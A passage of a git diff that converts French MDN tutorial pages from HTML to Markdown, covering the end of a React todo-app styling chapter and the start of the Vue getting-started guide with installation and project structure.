+.stack-large > * + * { margin-top: 2.5rem; } @media screen and (min-width: 550px) { - .stack-small > * + * { + .stack-small > * + * { margin-top: 1.4rem; } - .stack-large > * + * { + .stack-large > * + * { margin-top: 2.8rem; } } @@ -407,15 +418,15 @@ body { padding: 4rem; } } -.todoapp > * { +.todoapp > * { max-width: 50rem; margin-left: auto; margin-right: auto; } -.todoapp > form { +.todoapp > form { max-width: 100%; } -.todoapp > h1 { +.todoapp > h1 { display: block; max-width: 100%; text-align: center; @@ -460,7 +471,7 @@ body { flex-direction: row; flex-wrap: wrap; } -.todo > * { +.todo > * { flex: 0 0 100%; } .todo-text { @@ -486,15 +497,15 @@ body { padding-left: 40px; clear: left; } -.c-cb > label::before, -.c-cb > input[type="checkbox"] { +.c-cb > label::before, +.c-cb > input[type="checkbox"] { box-sizing: border-box; top: -2px; left: -2px; width: 44px; height: 44px; } -.c-cb > input[type="checkbox"] { +.c-cb > input[type="checkbox"] { -webkit-font-smoothing: antialiased; cursor: pointer; position: absolute; @@ -502,7 +513,7 @@ body { margin: 0; opacity: 0; } -.c-cb > label { +.c-cb > label { font-size: inherit; font-family: inherit; line-height: inherit; @@ -512,17 +523,17 @@ body { cursor: pointer; touch-action: manipulation; } -.c-cb > label::before { +.c-cb > label::before { content: ""; position: absolute; border: 2px solid currentColor; background: transparent; } -.c-cb > input[type="checkbox"]:focus + label::before { +.c-cb > input[type="checkbox"]:focus + label::before { border-width: 4px; outline: 3px dashed #228bec; } -.c-cb > label::after { +.c-cb > label::after { box-sizing: content-box; content: ""; position: absolute; @@ -537,67 +548,61 @@ body { opacity: 0; background: transparent; } -.c-cb > input[type="checkbox"]:checked + label::after { +.c-cb > input[type="checkbox"]:checked + label::after { opacity: 1; -}</pre> - -<p>Save and look back at your browser, and your app should now have reasonable styling.</p> - -<h2 id="Summary">Summary</h2> - -<p>Now our todo list app actually looks a bit more like a real app! The problem is: it doesn’t actually do anything. We’ll start fixing that in the next chapter!</p> - -<p>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</p> - -<h2 id="In_this_module">In this module</h2> - -<ul> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction">Introduction to client-side frameworks</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features">Framework main features</a></li> - <li>React - <ul> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started">Getting started with React</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning">Beginning our React todo list</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components">Componentizing our React app</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state">React interactivity: Events and state</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering">React interactivity: Editing, filtering, conditional rendering</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_accessibility">Accessibility in React</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_resources">React resources</a></li> - </ul> - </li> - <li>Ember - <ul> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started">Getting started with Ember</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_structure_componentization">Ember app structure and componentization</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_interactivity_events_state">Ember interactivity: Events, classes and state</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_conditional_footer">Ember Interactivity: Footer functionality, conditional rendering</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_routing">Routing in Ember</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources">Ember resources and troubleshooting</a></li> - </ul> - </li> - <li>Vue - <ul> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started">Getting started with Vue</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component">Creating our first Vue component</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists">Rendering a list of Vue components</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models">Adding a new todo form: Vue events, methods, and models</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling">Styling Vue components with CSS</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties">Using Vue computed properties</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering">Vue conditional rendering: editing existing todos</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_refs_focus_management">Focus management with Vue refs</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources">Vue resources</a></li> - </ul> - </li> - <li>Svelte - <ul> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_getting_started">Getting started with Svelte</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_Todo_list_beginning">Starting our Svelte Todo list app</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_variables_props">Dynamic behavior in Svelte: working with variables and props</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_components">Componentizing our Svelte app</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_reactivity_lifecycle_accessibility">Advanced Svelte: Reactivity, lifecycle, accessibility</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_stores">Working with Svelte stores</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_TypeScript">TypeScript support in Svelte</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_deployment_next">Deployment and next steps</a></li> - </ul> - </li> -</ul> +} +``` + +Save and look back at your browser, and your app should now have reasonable styling. + +## Summary + +Now our todo list app actually looks a bit more like a real app! The problem is: it doesn’t actually do anything. We’ll start fixing that in the next chapter! + +{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}} + +## In this module + +- [Introduction to client-side frameworks](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction) +- [Framework main features](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features) +- React + + - [Getting started with React](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started) + - [Beginning our React todo list](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning) + - [Componentizing our React app](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components) + - [React interactivity: Events and state](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state) + - [React interactivity: Editing, filtering, conditional rendering](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering) + - [Accessibility in React](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_accessibility) + - [React resources](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_resources) + +- Ember + + - [Getting started with Ember](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started) + - [Ember app structure and componentization](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_structure_componentization) + - [Ember interactivity: Events, classes and state](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_interactivity_events_state) + - [Ember Interactivity: Footer functionality, conditional rendering](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_conditional_footer) + - [Routing in Ember](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_routing) + - [Ember resources and troubleshooting](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources) + +- Vue + + - [Getting started with Vue](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started) + - [Creating our first Vue component](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component) + - [Rendering a list of Vue components](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists) + - [Adding a new todo form: Vue events, methods, and models](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models) + - [Styling Vue components with CSS](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling) + - [Using Vue computed properties](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties) + - [Vue conditional rendering: editing existing todos](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering) + - [Focus management with Vue refs](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_refs_focus_management) + - [Vue resources](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources) + +- Svelte + + - [Getting started with Svelte](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_getting_started) + - [Starting our Svelte Todo list app](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_Todo_list_beginning) + - [Dynamic behavior in Svelte: working with variables and props](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_variables_props) + - [Componentizing our Svelte app](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_components) + - [Advanced Svelte: Reactivity, lifecycle, accessibility](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_reactivity_lifecycle_accessibility) + - [Working with Svelte stores](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_stores) + - [TypeScript support in Svelte](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_TypeScript) + - [Deployment and next steps](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_deployment_next) diff --git a/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/vue_getting_started/index.md b/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/vue_getting_started/index.md index b2b0040f91..9f938e5728 100644 --- a/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/vue_getting_started/index.md +++ b/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/vue_getting_started/index.md @@ -3,160 +3,181 @@ title: Prise en main de Vue slug: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started translation_of: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}} -<div> -<p>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</p> -</div> +{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}} -<p>Présentons Maintenant Vue, le troisième de nos cadres. Dans cet article, nous allons examiner un peu de fond Vue, apprendre à l’installer et créer un nouveau projet, étudier la structure de haut niveau de l’ensemble du projet et un composant individuel, voir comment exécuter le projet localement, et le préparer à commencer à construire notre exemple.</p> +Présentons Maintenant Vue, le troisième de nos cadres. Dans cet article, nous allons examiner un peu de fond Vue, apprendre à l’installer et créer un nouveau projet, étudier la structure de haut niveau de l’ensemble du projet et un composant individuel, voir comment exécuter le projet localement, et le préparer à commencer à construire notre exemple. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Conditions préalables:</th> - <td> - <p>Familiarité avec les langages <a href="/fr/docs/Learn/HTML">HTML</a>, <a href="/fr/docs/Learn/CSS">CSS</a>et <a href="/fr/docs/Learn/JavaScript">JavaScript,</a> connaissance de la <a href="/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Command_line">ligne terminal/commande</a>.</p> - - <p>Les composants Vue sont écrits sous la forme d’une combinaison d’objets JavaScript qui gèrent les données de l’application et d’une syntaxe de modèle html qui cartographie la structure DOM sous-jacente. Pour l’installation et pour utiliser certaines des fonctionnalités les plus avancées de Vue (comme les composants de fichier unique ou les fonctions de rendu), vous aurez besoin d’un terminal avec nœud + npm installé.</p> - </td> - </tr> - <tr> - <th scope="row">Objectif:</th> - <td>Pour configurer un environnement de développement Vue local, créez une application de démarrage et comprenez les bases de son fonctionnement.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Conditions préalables:</th> + <td> + <p> + Familiarité avec les langages <a href="/fr/docs/Learn/HTML">HTML</a>, + <a href="/fr/docs/Learn/CSS">CSS</a>et + <a href="/fr/docs/Learn/JavaScript">JavaScript,</a> connaissance de la + <a + href="/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Command_line" + >ligne terminal/commande</a + >. + </p> + <p> + Les composants Vue sont écrits sous la forme d’une combinaison + d’objets JavaScript qui gèrent les données de l’application et d’une + syntaxe de modèle html qui cartographie la structure DOM sous-jacente. + Pour l’installation et pour utiliser certaines des fonctionnalités les + plus avancées de Vue (comme les composants de fichier unique ou les + fonctions de rendu), vous aurez besoin d’un terminal avec nœud + npm + installé. + </p> + </td> + </tr> + <tr> + <th scope="row">Objectif:</th> + <td> + Pour configurer un environnement de développement Vue local, créez une + application de démarrage et comprenez les bases de son fonctionnement. + </td> + </tr> + </tbody> </table> -<h2 id="Une_Vue_plus_claire">Une Vue plus claire</h2> +## Une Vue plus claire -<p>Vue est un cadre JavaScript moderne qui fournit des installations utiles pour une amélioration progressive - contrairement à beaucoup d’autres cadres, vous pouvez utiliser Vue pour améliorer html existant. Cela vous permet d’utiliser Vue comme un remplacement de drop-in pour une bibliothèque comme <a href="/fr/docs/Glossary/jQuery">JQuery</a>.</p> +Vue est un cadre JavaScript moderne qui fournit des installations utiles pour une amélioration progressive - contrairement à beaucoup d’autres cadres, vous pouvez utiliser Vue pour améliorer html existant. Cela vous permet d’utiliser Vue comme un remplacement de drop-in pour une bibliothèque comme [JQuery](/fr/docs/Glossary/jQuery). -<p>Cela étant dit, vous pouvez également utiliser Vue pour écrire des applications à page unique entières (SPA). Cela vous permet de créer un balisage géré entièrement par Vue, ce qui peut améliorer l’expérience et les performances des développeurs lors de la gestion d’applications complexes. Il vous permet également de profiter des bibliothèques pour le routage côté client et la gestion de l’État lorsque vous en avez besoin. En outre, Vue adopte une approche « intermédiaire » pour l’outillage comme le routage côté client et la gestion de l’État. Bien que l’équipe de base de Vue gère des bibliothèques suggérées pour ces fonctions, elles ne sont pas directement regroupées dans Vue. Cela vous permet de sélectionner une bibliothèque de routage/gestion d’état différente si elle correspond mieux à votre application.</p> +Cela étant dit, vous pouvez également utiliser Vue pour écrire des applications à page unique entières (SPA). Cela vous permet de créer un balisage géré entièrement par Vue, ce qui peut améliorer l’expérience et les performances des développeurs lors de la gestion d’applications complexes. Il vous permet également de profiter des bibliothèques pour le routage côté client et la gestion de l’État lorsque vous en avez besoin. En outre, Vue adopte une approche « intermédiaire » pour l’outillage comme le routage côté client et la gestion de l’État. Bien que l’équipe de base de Vue gère des bibliothèques suggérées pour ces fonctions, elles ne sont pas directement regroupées dans Vue. Cela vous permet de sélectionner une bibliothèque de routage/gestion d’état différente si elle correspond mieux à votre application. -<p>En plus de vous permettre d’intégrer progressivement Vue dans vos applications, Vue propose également une approche progressive du balisage de l’écriture. Comme la plupart des cadres, Vue vous permet de créer des blocs réutilisables de balisage via des composants. La plupart du temps, les composants Vue sont écrits à l’aide d’une syntaxe de modèle HTML spéciale. Lorsque vous avez besoin de plus de contrôle que ne le permet la syntaxe HTML, vous pouvez écrire des fonctions JSX ou JavaScript simples pour définir vos composants.</p> +En plus de vous permettre d’intégrer progressivement Vue dans vos applications, Vue propose également une approche progressive du balisage de l’écriture. Comme la plupart des cadres, Vue vous permet de créer des blocs réutilisables de balisage via des composants. La plupart du temps, les composants Vue sont écrits à l’aide d’une syntaxe de modèle HTML spéciale. Lorsque vous avez besoin de plus de contrôle que ne le permet la syntaxe HTML, vous pouvez écrire des fonctions JSX ou JavaScript simples pour définir vos composants. -<p>Au fur et à mesure que vous travaillez sur ce didacticiel, vous pouvez garder le <a href="https://vuejs.org/v2/guide/">guide Vue</a> et la <a href="https://vuejs.org/v2/api/">documentation API</a> ouverts dans d’autres onglets, de sorte que vous pouvez vous référer à eux si vous voulez plus d’informations sur n’importe quel sous-sujet.<br> - Pour une bonne comparaison (mais potentiellement biaisée) entre Vue et plusieurs des autres cadres, voir <a href="https://vuejs.org/v2/guide/comparison.html">Vue Docs: Comparison with Other Frameworks</a>.</p> +Au fur et à mesure que vous travaillez sur ce didacticiel, vous pouvez garder le [guide Vue](https://vuejs.org/v2/guide/) et la [documentation API](https://vuejs.org/v2/api/) ouverts dans d’autres onglets, de sorte que vous pouvez vous référer à eux si vous voulez plus d’informations sur n’importe quel sous-sujet. +Pour une bonne comparaison (mais potentiellement biaisée) entre Vue et plusieurs des autres cadres, voir [Vue Docs: Comparison with Other Frameworks](https://vuejs.org/v2/guide/comparison.html). -<h2 id="Installation">Installation</h2> +## Installation -<p>Pour utiliser Vue dans un site existant, vous pouvez déposer l’un des éléments suivants sur une page. Cela vous permet de commencer à utiliser Vue sur les sites existants, c’est pourquoi Vue se targue d’être un cadre progressif. Il s’agit d’une excellente option lors de la migration d’un projet existant à l’aide d’une bibliothèque comme JQuery à Vue. Avec cette méthode, vous pouvez utiliser un grand nombre des fonctionnalités de base de Vue, telles que les attributs, les composants personnalisés et la gestion des données.<code><a href="/fr/docs/Web/HTML/Element/script"><script></a></code></p> +Pour utiliser Vue dans un site existant, vous pouvez déposer l’un des éléments suivants sur une page. Cela vous permet de commencer à utiliser Vue sur les sites existants, c’est pourquoi Vue se targue d’être un cadre progressif. Il s’agit d’une excellente option lors de la migration d’un projet existant à l’aide d’une bibliothèque comme JQuery à Vue. Avec cette méthode, vous pouvez utiliser un grand nombre des fonctionnalités de base de Vue, telles que les attributs, les composants personnalisés et la gestion des données.[`<script>`](/fr/docs/Web/HTML/Element/script) -<ul> - <li> - <p>Script de développement (Non optimisé, mais inclut les avertissements de console. Idéal pour le développement</p> +- Script de développement (Non optimisé, mais inclut les avertissements de console. Idéal pour le développement - <pre class="brush: html"><script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script></pre> - </li> - <li> - <p>Production Script (Optimized version, minimal console warnings. It is recommended that you specify a version number when including Vue on your site so that any framework updates do not break your live site without you knowing.)</p> + ```html + <script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script> + ``` - <pre class="brush: html"><script src="https://cdn.jsdelivr.net/npm/vue@2"></script></pre> - </li> -</ul> +- Production Script (Optimized version, minimal console warnings. It is recommended that you specify a version number when including Vue on your site so that any framework updates do not break your live site without you knowing.) -<p>However, this approach has some limitations. To build more complex apps, you’ll want to use the <a href="https://www.npmjs.com/package/vue">Vue NPM package</a>. This will let you use advanced features of Vue and take advantage of bundlers like WebPack. To make building apps with Vue easier, there is a CLI to streamline the development process. To use the npm package & the CLI you will need:</p> + ```html + <script src="https://cdn.jsdelivr.net/npm/vue@2"></script> + ``` -<ol> - <li>Node.js 8.11+ installed.</li> - <li>npm or yarn.</li> -</ol> +However, this approach has some limitations. To build more complex apps, you’ll want to use the [Vue NPM package](https://www.npmjs.com/package/vue). This will let you use advanced features of Vue and take advantage of bundlers like WebPack. To make building apps with Vue easier, there is a CLI to streamline the development process. To use the npm package & the CLI you will need: -<div class="note"> -<p><strong>Note :</strong> If you don't have the above installed, find out <a href="/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Command_line#Adding_powerups">more about installing npm and Node.js</a> here.</p> -</div> +1. Node.js 8.11+ installed. +2. npm or yarn. -<p>To install the CLI, run the following command in your terminal:</p> +> **Note :** If you don't have the above installed, find out [more about installing npm and Node.js](/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Command_line#Adding_powerups) here. -<pre class="brush: bash">npm install --global @vue/cli</pre> +To install the CLI, run the following command in your terminal: -<p>Or if you'd prefer to use yarn:</p> +```bash +npm install --global @vue/cli +``` -<pre class="brush: bash">yarn global add @vue/cli</pre> +Or if you'd prefer to use yarn: -<p>Once installed, to initialize a new project you can then open a terminal in the directory you want to create the project in, and run . The CLI will then give you a list of project configurations you can use. There are a few preset ones, and you can make your own. These options let you configure things like TypeScript, linting, vue-router, testing, and more.<code>vue create <project-name></code></p> +```bash +yarn global add @vue/cli +``` -<p>We’ll look at using this below.</p> +Once installed, to initialize a new project you can then open a terminal in the directory you want to create the project in, and run . The CLI will then give you a list of project configurations you can use. There are a few preset ones, and you can make your own. These options let you configure things like TypeScript, linting, vue-router, testing, and more.`vue create <project-name>` -<h2 id="Initializing_a_new_project">Initializing a new project</h2> +We’ll look at using this below. -<p>To explore various features of Vue, we will be building up a sample todo list app. We'll begin by using the Vue CLI to create a new app framework to build our app into. Follow the steps below:</p> +## Initializing a new project -<ol> - <li>In terminal, to where you'd like to create your sample app, then run .<code>cd</code><code>vue create moz-todo-vue</code></li> - <li>Use the arrow keys and to select the "Manually select features" option.<kbd>Enter</kbd></li> - <li>The first menu you’ll be presented with allows you to choose which features you want to include in your project. Make sure that "Babel" and "Linter / Formatter" are selected. If they are not, use the arrow keys and the space bar to toggle them on. Once they are selected, press to proceed.<kbd>Enter</kbd></li> - <li>Next you’ll select a config for the linter / formatter. Navigate to "Eslint with error prevention only" and hit again. This will help us catch common errors, but not be overly opinionated.<kbd>Enter</kbd></li> - <li>Next you are asked to configure what kind of automated linting we want. Select "Lint on save". This will check for errors when we save a file inside the project. Hit to continue.<kbd>Enter</kbd></li> - <li>Now, you will select how we want your config files to be managed. "In dedicated config files" will put your config settings for things like ESLint into their own, dedicated files. The other option, "In package.json", will put all of your config settings into the app's file. Select "In dedicated config files" and push .<code>package.json</code><kbd>Enter</kbd></li> - <li>Finally, you are asked if you want to save this as a preset for future options. This is entirely up to you. If you like these settings over the existing presets and want to use them again, type , otherwise type .<kbd>y</kbd><kbd>n</kbd></li> -</ol> +To explore various features of Vue, we will be building up a sample todo list app. We'll begin by using the Vue CLI to create a new app framework to build our app into. Follow the steps below: -<p>The CLI will now begin scaffolding out your project, and installing all of your dependencies.</p> +1. In terminal, to where you'd like to create your sample app, then run .` cd``vue create moz-todo-vue ` +2. Use the arrow keys and to select the "Manually select features" option. -<p>If you've never run the Vue CLI before, you'll get one more question — you'll be asked to choose a package manager. You can use the arrow keys to select which one you prefer. The Vue CLI will default to this package manager from now on. If you need to use a different package manager after this, you can pass in a flag , when you run . So if you wanted to create the project with npm and you'd previously chosen yarn, you’d run .<code>--packageManager=<package-manager></code><code>vue create</code><code>moz-todo-vue</code><code>vue create moz-todo-vue --packageManager=npm</code></p> + <kbd>Enter</kbd> -<div class="note"> -<p><strong>Note :</strong> We've not gone over all of the options here, but you can <a href="https://cli.vuejs.org">find more information on the CLI</a> in the Vue docs.</p> -</div> +3. The first menu you’ll be presented with allows you to choose which features you want to include in your project. Make sure that "Babel" and "Linter / Formatter" are selected. If they are not, use the arrow keys and the space bar to toggle them on. Once they are selected, press to proceed. -<h2 id="Project_structure">Project structure</h2> + <kbd>Enter</kbd> -<p>If everything went successfully, the CLI should have created a series of files and directories for your project. The most significant ones are as follows:</p> +4. Next you’ll select a config for the linter / formatter. Navigate to "Eslint with error prevention only" and hit again. This will help us catch common errors, but not be overly opinionated. -<ul> - <li><code>.eslintrc.js</code>: This is a config file for <a href="https://eslint.org/">eslint</a>. You can use this to manage your linting rules.</li> - <li><code>babel.config.js</code>: This is the config file for <a href="https://babeljs.io/">Babel</a>, which transforms modern JavaScript features being used in development code into older syntax that is more cross-browser compatible in production code. You can register additional babel plugins in this file.</li> - <li><code>.browserslistrc</code>: This is a config for <a href="https://github.com/browserslist/browserslist">Browserslist</a>. You can use this to control which browsers your tooling optimizes for.</li> - <li><code>public</code>: This directory contains static assets that are published, but not processed by <a href="https://webpack.js.org/">Webpack</a> during build (with one exception; gets some processing).<code>index.html</code> - <ul> - <li><code>favicon.ico</code>: This is the favicon for your app. Currently, it's the Vue logo.</li> - <li><code>index.html</code>: This is the template for your app. Your Vue app is run from this HTML page, and you can use lodash template syntax to interpolate values into it. - <div class="note"> - <p><strong>Note :</strong> this is not the template for managing the layout of your application — this template is for managing static HTML that sits outside of your Vue app. Editing this file typically only occurs in advanced use cases.</p></div> - </li> - </ul> - </li> - <li><code>src</code>: This directory contains the core of your Vue app. - <ul> - <li><code>main.js</code>: this is the entry point to your application. Currently, this file initializes your Vue application and signifies which HTML element in the file your app should be attached to. This file is often where you register global components or additional Vue libraries.<code>index.html</code></li> - <li><code>App.vue</code>: this is the top-level component in your Vue app. See below for more explanation of Vue components.</li> - <li><code>components</code>: this directory is where you keep your components. Currently it just has one example component.</li> - <li><code>assets</code>: This directory is for storing static assets like CSS and images. Because these files are in the source directory, they can be processed by Webpack. This means you can use pre-processors like <a href="https://sass-lang.com/">Sass/SCSS</a> or <a href="https://stylus-lang.com/">Stylus</a>.</li> - </ul> - </li> -</ul> + <kbd>Enter</kbd> -<div class="note"> -<p><strong>Note :</strong> Depending on the options you select when creating a new project, there might be other directories present (for example, if you choose a router, you will also have a directory).<code>views</code></p> -</div> +5. Next you are asked to configure what kind of automated linting we want. Select "Lint on save". This will check for errors when we save a file inside the project. Hit to continue. -<h2 id=".vue_files_single_file_components">.vue files (single file components)</h2> + <kbd>Enter</kbd> -<p>Like in many front-end frameworks, components are a central part of building apps in Vue. These components let you break a large application into discrete building blocks that can be created and managed separately, and transfer data between each other as required. These small blocks can help you reason about and test your code.</p> +6. Now, you will select how we want your config files to be managed. "In dedicated config files" will put your config settings for things like ESLint into their own, dedicated files. The other option, "In package.json", will put all of your config settings into the app's file. Select "In dedicated config files" and push .`package.json` -<p>While some frameworks encourage you to separate your template, logic, and styling code into separate files, Vue takes the opposite approach. Using <a href="https://vuejs.org/v2/guide/single-file-components.html">Single File Components</a>, Vue lets you group your templates, corresponding script, and CSS all together in a single file ending in . These files are processed by a JS build tool (such as Webpack), which means you can take advantage of build-time tooling in your project. This allows you to use tools like Babel, TypeScript, SCSS and more to create more sophisticated components.<code>.vue</code></p> + <kbd>Enter</kbd> -<p>As a bonus, projects created with the Vue CLI are configured to use files with Webpack out of the box. In fact, if you look inside the folder in the project we created with the CLI, you'll see your first file: .<code>.vue</code><code>src</code><code>.vue</code><code>App.vue</code></p> +7. Finally, you are asked if you want to save this as a preset for future options. This is entirely up to you. If you like these settings over the existing presets and want to use them again, type , otherwise type . -<p>Let's explore this now.</p> + <kbd>y</kbd> -<h3 id="App.vue">App.vue</h3> + <kbd>n</kbd> -<p>Open your file — you’ll see that it has three parts: , , and , which contain the component’s template, scripting, and styling information. All Single File Components share this same basic structure.<code>App.vue</code><code><template></code><code><script></code><code><style></code></p> +The CLI will now begin scaffolding out your project, and installing all of your dependencies. -<p><code><template></code> contains all the markup structure and display logic of your component. Your template can contain any valid HTML, as well as some Vue-specific syntax that we'll cover later.</p> +If you've never run the Vue CLI before, you'll get one more question — you'll be asked to choose a package manager. You can use the arrow keys to select which one you prefer. The Vue CLI will default to this package manager from now on. If you need to use a different package manager after this, you can pass in a flag , when you run . So if you wanted to create the project with npm and you'd previously chosen yarn, you’d run .` --packageManager=<package-manager>``vue create``moz-todo-vue``vue create moz-todo-vue --packageManager=npm ` -<div class="note"> -<p><strong>Note :</strong> By setting the attribute on the tag, you can use Pug template syntax instead of standard HTML — . We'll stick to standard HTML through this tutorial, but it is worth knowing that this is possible.<code>lang</code><code><template></code><code><template lang="pug"></code></p> -</div> +> **Note :** We've not gone over all of the options here, but you can [find more information on the CLI](https://cli.vuejs.org) in the Vue docs. -<p><code><script></code> contains all of the non-display logic of your component. Most importantly, your tag needs to have a default exported JS object. This object is where you locally register components, define component inputs (props), handle local state, define methods, and more. Your build step will process this object and transform it (with your template) into a Vue component with a function.<code><script></code><code>render()</code></p> +## Project structure -<p>In the case of , our default export sets the name of the component to and registers the component by adding it into the property. When you register a component in this way, you're registering it locally. Locally registered components can only be used inside the components that register them, so you need to import and register them in every component file that uses them. This can be useful for bundle splitting/tree shaking since not every page in your app necessarily needs every component.<code>App.vue</code><code>app</code><code>HelloWorld</code><code>components</code></p> +If everything went successfully, the CLI should have created a series of files and directories for your project. The most significant ones are as follows: -<pre class="brush: js">import HelloWorld from './components/HelloWorld.vue'; +- 